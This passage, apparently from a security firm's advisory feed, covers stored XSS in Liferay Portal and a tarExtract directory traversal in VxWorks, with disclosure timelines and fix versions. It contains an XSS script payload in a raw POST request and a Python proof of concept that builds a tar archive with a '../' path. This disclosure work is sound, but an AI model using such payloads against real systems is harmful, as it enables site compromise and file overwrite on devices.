Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title_en_US"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description"

&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description_en_US"

&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_multiValued"

on
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_visibilityType"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_classNameId0"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype29955-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype20010-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_indexes"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsShowOptions"

false
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsViewRole"

Guest
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_guestPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_groupPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_checkboxNames"

multiValued,required0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------23385551494836211141651886319--&lt;/pre&gt;
&lt;p&gt;Later, when a user requests a vocabulary entry, for example via a HTTP GET request to &lt;cite&gt;/group/speedwell/~/control_panel/manage/-/categories_admin/vocabulary/35897&lt;/cite&gt;, the HTTP response is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:05:58 GMT
Connection: close
Content-Length: 128719

[...]
&amp;lt;div class="sheet sheet-full"&amp;gt;
    &amp;lt;h2 class="sheet-title"&amp;gt;
        &amp;lt;div class="autofit-row autofit-row-center"&amp;gt;
            &amp;lt;div class="autofit-col"&amp;gt;
                MyCategory
            &amp;lt;/div&amp;gt;
[...]
            &amp;lt;div class="mb-2"&amp;gt;
                &amp;lt;span class="mr-1"&amp;gt;Description:&amp;lt;/span&amp;gt;
                &amp;lt;span class="text-break text-secondary"&amp;gt;&amp;lt;script&amp;gt;alert("description")&amp;lt;/script&amp;gt;&amp;lt;/span&amp;gt;
            &amp;lt;/div&amp;gt;

    &amp;lt;/div&amp;gt;
[...]&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_categories.png"&gt;
&lt;img alt="XSS payloads in the description field of a vocabulary entry." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_categories.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;The affected modules must be enabled and used. Furthermore, an attacker must have the permission to enter the corresponding data. So it depends how the permissions are defined in a specific Liferay Portal instance.&lt;/p&gt;
&lt;p&gt;It may be possible that guests are allowed to submit wiki pages or order products without a user account. Though adding new vocabulary to categories or regions to countries may be reserved for users with higher privileges.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends to update the Liferay Portal version. According to Liferay:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42627 is fixed in Liferay Portal 7.4.3.92.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42628 is fixed in Liferay Portal 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2023-42629 is fixed in Liferay Portal 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been found by Michael Oelke (Pentagrid).
We would like to thank Samuel Kong (Liferay) for the professional handling of the security issues.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/</guid><pubDate>Tue, 17 Oct 2023 06:00:00 GMT</pubDate></item><item><title>Wind River VxWorks tarExtract directory traversal vulnerability (CVE-2023-38346)</title><link>https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/202309_river.png"&gt;&lt;/figure&gt; &lt;p&gt;Today we publish an advisory for a specific function in &lt;a class="reference external" href="https://www.windriver.com/products/vxworks"&gt;Wind River's VxWorks operating system&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;VxWorks is a real-time operating system used in many embedded devices in high-availability environments with high safety and security requirements. This includes important industrial, medical, airospace, networking and automotive devices. For example, &lt;a class="reference external" href="https://mars.nasa.gov/msl/home/"&gt;NASA's Curiosity rover&lt;/a&gt; currently deployed on planet Mars is using Wind River's VxWorks operating system.&lt;/p&gt;
&lt;p&gt;The vulnerability is triggered when VxWorks' &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; function is used on untrusted tar archive files. The &lt;a class="reference external" href="https://support2.windriver.com/index.php?page=cve&amp;amp;on=view&amp;amp;id=CVE-2023-38346"&gt;official VxWorks advisory can be found on the Wind River website&lt;/a&gt;.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="summary"&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Pentagrid identified a vulnerability in VxWorks' &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; method affecting at least VxWorks 21.07. The function &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; implements tar file extraction and thereby also processes files within an archive that has relative or absolute file names. While end-user tar tools on other platforms usually stop processing an archive if not otherwise forced, the VxWorks' &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; proceeds with processing relative or absolute filenames. This is unexpected and also undocumented behaviour, which in general may result in a directory traversal vulnerability.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;If a developer uses &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; without additional checks, extracting an untrusted tar file may lead to an overwrite of files outside the current working directory in the filesystem of the VxWorks operating system. If the tar processing runs under elevated privileges, &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; may overwrite arbitrary files in a VxWorks environment, which may then lead to a system compromise. In an embedded environment, extracting tar files likely happens during multi-file imports such as data ingestion or software/configuration update. The directory traversal may lead to a verification bypass, if a tar archive is extracted first and the verification of the content happens afterwards.&lt;/p&gt;
&lt;p&gt;We rate the issue as a high-severity issue for devices that use the &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; function on untrusted user input.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-06-05: Vulnerability noticed and research into tar behaviour started.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-06-21: Initial contact request as requested by &lt;a class="reference external" href="https://www.windriver.com/psirt-policy"&gt;Wind River's PSIRT&lt;/a&gt; and encrypted with the published PGP key. Communication of coordinated disclosure publication date 2023-09-19.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-06-21: Wind River PSIRT replies they can't decrypt the message and asks if we exchanged keys before. Pentagrid replied in a cleartext e-mail that we used the key from &lt;a class="reference external" href="https://www.windriver.com/psirt-policy"&gt;Wind River's PSIRT website&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-06-21: Pentagrid asks in a cleartext e-mail if they were able to decrypt the message now. No response from Wind River.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-06-28: Pentagrid asks in a cleartext e-mail for a status. Pentagrid informs Wind River that if we don't receive a response, we might publish information and will contact local authorities for communication support.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-06-28: Wind River is not able to decrypt the message. Wind River proposes to provide Pentagrid's keys in a password protected document and provide the password in a separate document. Alternatively, to send the e-mail unencrypted. Pentagrid resends advisory in an unencrypted e-mail to PSIRT lead. PSIRT lead commits to a monthly status update. Further e-mails only sent to PSIRT lead in cleartext.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-06-29: Wind River asks for flexibility on the disclosure deadline. An hour later Wind River asks to ignore the request.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-15: CVE-2023-38346 was assigned by MITRE.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Status update by Wind River: Analysis ongoing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Wind River asks for a meeting.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-31: Video call between Pentagrid and Wind River. Wind River rates the vulnerability with a CVSS 3.1 score of 6.5 (Medium). Target version for a fix is 23.09. They are working on updating the documentation and introduce a secure default behavior of tarExtract. A communication plan for customers before coordinated disclosure date is in place.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-28: Video call between Pentagrid and Wind River, status update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-13: Video call between Pentagrid and Wind River, status update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-19: Coordinated disclosure, Wind River publishes &lt;a class="reference external" href="https://support2.windriver.com/index.php?page=cve&amp;amp;on=view&amp;amp;id=CVE-2023-38346"&gt;their adisory&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;The issue affects VxWorks' &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; method affecting in at least VxWorks 21.07. Pentagrid assumes that all VxWorks versions released before September 2023 are affected.&lt;/p&gt;
&lt;p&gt;It is unknown to Pentagrid which or how many embedded devices implement a data ingestion or software/configuration update function by parsing untrusted archives with &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt;. It is likely that many devices are affected, as there seems to be no other data ingestion functionality available in the VxWorks Kernel API.&lt;/p&gt;
&lt;p&gt;CVE-2023-38346 has been assigned to this issue. The &lt;a class="reference external" href="https://support2.windriver.com/index.php?page=cve&amp;amp;on=view&amp;amp;id=CVE-2023-38346"&gt;official VxWorks advisory can be found on the Wind River website&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="background-information"&gt;
&lt;h2&gt;Background information&lt;/h2&gt;
&lt;p&gt;This finding is about different expectations and assumptions when using a tar extraction function. If there is a mismatch regarding the expectations and the actual behaviour, this might lead to a security issue.&lt;/p&gt;
&lt;p&gt;First of all, the standard tar utilities present in Linux, FreeBSD and also Busybox will not extract a file from an archive, if the file has an absolute file name or a relative file name outside the unpacking directory. Instead, these tools show a warning. For GNU and BSD tar, the option &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;--absolute-names&lt;/span&gt;&lt;/code&gt; (&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;-P&lt;/span&gt;&lt;/code&gt;) must be added to force extraction of such files. For example, one may expect that extracting an archive in the download folder hopefully does not overwrite a user's &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;~/.bashrc&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Furthermore, if an archive is extracted from the root directory (&lt;code class="docutils literal"&gt;/&lt;/code&gt;), all path names are relative to the root directory. Files and directories may already exist and there is no need to use the pattern &lt;code class="docutils literal"&gt;../&lt;/code&gt; to traverse through the filesystem. Usually, software developers expect this behaviour when applications are installed. This should be known by every software developer and can be considered expected behaviour. However, absolute paths and directory traversal paths are not expected behaviour for many software developers as the following security issues illustrate.&lt;/p&gt;
&lt;p&gt;There were several vulnerabilities in the past regarding relative file names in tar files, for example:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/isaacs/node-tar/security/advisories/GHSA-5955-9wpr-37jh"&gt;node-tar - Fast and full-featured Tar for Node.js: Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization (CVE-2021-37713)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/isaacs/node-tar/security/advisories/GHSA-qq89-hq3f-393p"&gt;node-tar - Fast and full-featured Tar for Node.js: Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links (CVE-2021-37712)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/isaacs/node-tar/security/advisories/GHSA-9r2w-394v-53qc"&gt;node-tar - Fast and full-featured Tar for Node.js: Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links (CVE-2021-37701)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/isaacs/node-tar/security/advisories/GHSA-r628-mhmh-qjhw"&gt;node-tar - Fast and full-featured Tar for Node.js: Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning (CVE-2021-32803)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/isaacs/node-tar/security/advisories/GHSA-3jfq-g458-7qm9"&gt;node-tar - Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization (CVE-2021-32804),&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.sonarsource.com/blog/bitbucket-path-traversal-to-rce/"&gt;Bitbucket 6.1.1 Path Traversal to RCE (CVE-2019-3397)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.randori.com/blog/cve-2021-21972-vsphere-vulnerability-analysis/"&gt;VMware vCenter Server, vSphere Client - Remote code execution (CVE-2021-21972)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://security.snyk.io/research/zip-slip-vulnerability"&gt;A vulnerability called Zip Slip affects many libraries (including CVE-2018-1002203, CVE-2018-1002204, CVE-2018-1002200, CVE-2018-1002201, CVE-2018-1002202, CVE-2018-1002205, CVE-2018-1002206, CVE-2019-10743, CVE-2018-1002208, CVE-2018-1000544, CVE-2018-1002209, CVE-2018-10860)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.rapid7.com/blog/post/2022/10/06/exploitation-of-unpatched-zero-day-remote-code-execution-vulnerability-in-zimbra-collaboration-suite-cve-2022-41352/"&gt;The collaboration software Zimbra had a remotely exploitable vulnerability (CVE-2022-41352) originating in the use of Amavis that extracts tar files using the cpio tool.&lt;/a&gt; The problem with &lt;a class="reference external" href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774669"&gt;GNU cpio is known for years as CVE-2015-1197 and also partially patched&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://nvd.nist.gov/vuln/detail/CVE-2007-4559"&gt;Python tarfile (CVE-2007-4559)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last example of Python's tarfile got a CVE-ID assigned, but is still unfixed. Many discussions about this issue can be found on the Internet. At least &lt;a class="reference external" href="https://docs.python.org/3.11/library/tarfile.html#tarfile.TarFile.extractall"&gt;Python's API documentation highlights a prominent warning&lt;/a&gt;. But despite this warning, it seems to violate the principle of least astonishment: &lt;a class="reference external" href="https://www.trellix.com/en-us/about/newsroom/stories/research/tarfile-exploiting-the-world.html"&gt;A researcher from Trellix rediscovered this issue&lt;/a&gt;, wrote a tool for automated code-analysis and &lt;a class="reference external" href="https://www.trellix.com/en-us/about/newsroom/stories/research/open-source-intelligence.html"&gt;estimated that there may be 340,000 repositories at Github vulnerable to the tarfile problem&lt;/a&gt; and this despite a documented warning. The Bitbucket and VMware vulnerabilities mentioned above are both based on the &lt;a class="reference external" href="https://commons.apache.orgZimbra/proper/commons-compress/apidocs/overview-summary.html"&gt;tar extractor implementation org.apache.commons.compress.archivers.tar from the Apache Commons Compress library&lt;/a&gt;. This library does not have a prominent warning and obviously expectations on who must take care of what failed there, too.&lt;/p&gt;
&lt;p&gt;Bitbucket (CVE-2019-3397), Zimbra (CVE-2022-41352), vCenter (CVE-2021-21972) have CVSS Base Score beyond 9.0, implicating a critical severity. The last two vulnerabilities were added to CISA's &lt;a class="reference external" href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"&gt;Known Exploited Vulnerabilities Catalog&lt;/a&gt;. That means there is a good reason, why even a documented but unexpected behaviour becomes a problem, especially in security-critical environments.&lt;/p&gt;
&lt;p&gt;While the above list is about tar archives, the same problem exists for many archive formats, for example:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://security.snyk.io/research/zip-slip-vulnerability"&gt;Zip Slip&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/"&gt;Busybox cpio directory traversal vulnerability (CVE-2023-39810)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;p&gt;Extracting untrusted user-supplied tar files in an embedded device is part of a user-friendly way to implement a multi-file import such as data ingestion or software/configuration update. The device allows tar import instead of multiple files, to simplify the process for the user. At the same time, overwriting or adding an attacker-supplied file to a file system might lead to direct remote command execution vulnerability (e.g. by overwriting an application binary that includes executable code). Therefore, many implementations of software/configuration update functions in commercial products verify the supplied files (e.g. by using cryptographic signatures). But these signatures have to be stored somewhere and therefore are usually included in the tar file. As tar file extraction therefore has to happen in a first step (to extract the cryptographic signature and the update files) and before any content is verified, the current behaviour of &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; allows to bypass such verification steps as well.&lt;/p&gt;
&lt;p&gt;Documentation and source code at least for VxWorks 5.5 and 6.6 does not mention required steps to process a tar file in order to prevent vulnerabilities. It does not include warnings for the &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; function and that it shouldn't be applied to untrusted tar files. It also does not include a guide on how a multi-file import, such as data ingestion or software/configuration update via a single archive file (zip, tar, etc.), could be securely implemented. Tar is the only archive format currently supported according to the VxWorks Kernel API documentation.&lt;/p&gt;
&lt;p&gt;Therefore, Pentagrid assumes that many current implementations of data ingestion or software/configuration update functions in devices with VxWorks have this vulnerability.&lt;/p&gt;
&lt;p&gt;As privilege separation via different users in VxWorks was only recently introduced, it is possible that current implementations do not already use this feature. Therefore, it is possible that data ingestion or software/configuration update functions do not protect themself by using different users and access permissions on the operating system level.&lt;/p&gt;
&lt;p&gt;As VxWorks &lt;code class="docutils literal"&gt;tarToc&lt;/code&gt; function only prints to standard output, software developers would need to write custom parsers to check that the tar contents are safe to unpack. This introduces undesired complexity and dependency on the &lt;code class="docutils literal"&gt;tarToc&lt;/code&gt; output format not changing between VxWorks versions.&lt;/p&gt;
&lt;p&gt;Exploitation of the &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; issue can be achieved by supplying a crafted tar file. For creating such a tar file, Pentagrid used a simple script based on the Python version 3 tarfile library, which is flexible regarding the handling of relative file names as mentioned earlier. The used script is shown below:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-1" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-1" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-1"&gt;&lt;/a&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-2" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-2" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-2"&gt;&lt;/a&gt;&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-3" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-3" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-3"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# The author of this code is not responsible for any damage caused by the use&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-4" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-4" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-4"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# or misuse of this PoC exploit. This PoCs is intended for educational and&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-5" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-5" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-5"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# research purposes only, and should never be used to target or exploit systems&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-6" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-6" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-6"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# without explicit permission from the owner.&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-7" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-7" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-7"&gt;&lt;/a&gt;&lt;span class="c1"&gt;#&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-8" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-8" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-8"&gt;&lt;/a&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;tarfile&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-9" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-9" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-9"&gt;&lt;/a&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-10" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-10" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-10"&gt;&lt;/a&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"emptyfile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"wb"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-11" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-11" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-11"&gt;&lt;/a&gt;    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;"Just a test"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-12" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-12" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-12"&gt;&lt;/a&gt;&lt;span class="n"&gt;tar_out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tarfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"example.tar"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tarfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GNU_FORMAT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-13" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-13" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-13"&gt;&lt;/a&gt;&lt;span class="n"&gt;tar_out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"emptyfile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arcname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"../TRAVERSAL"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-14" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-14" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-14"&gt;&lt;/a&gt;&lt;span class="n"&gt;tar_out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
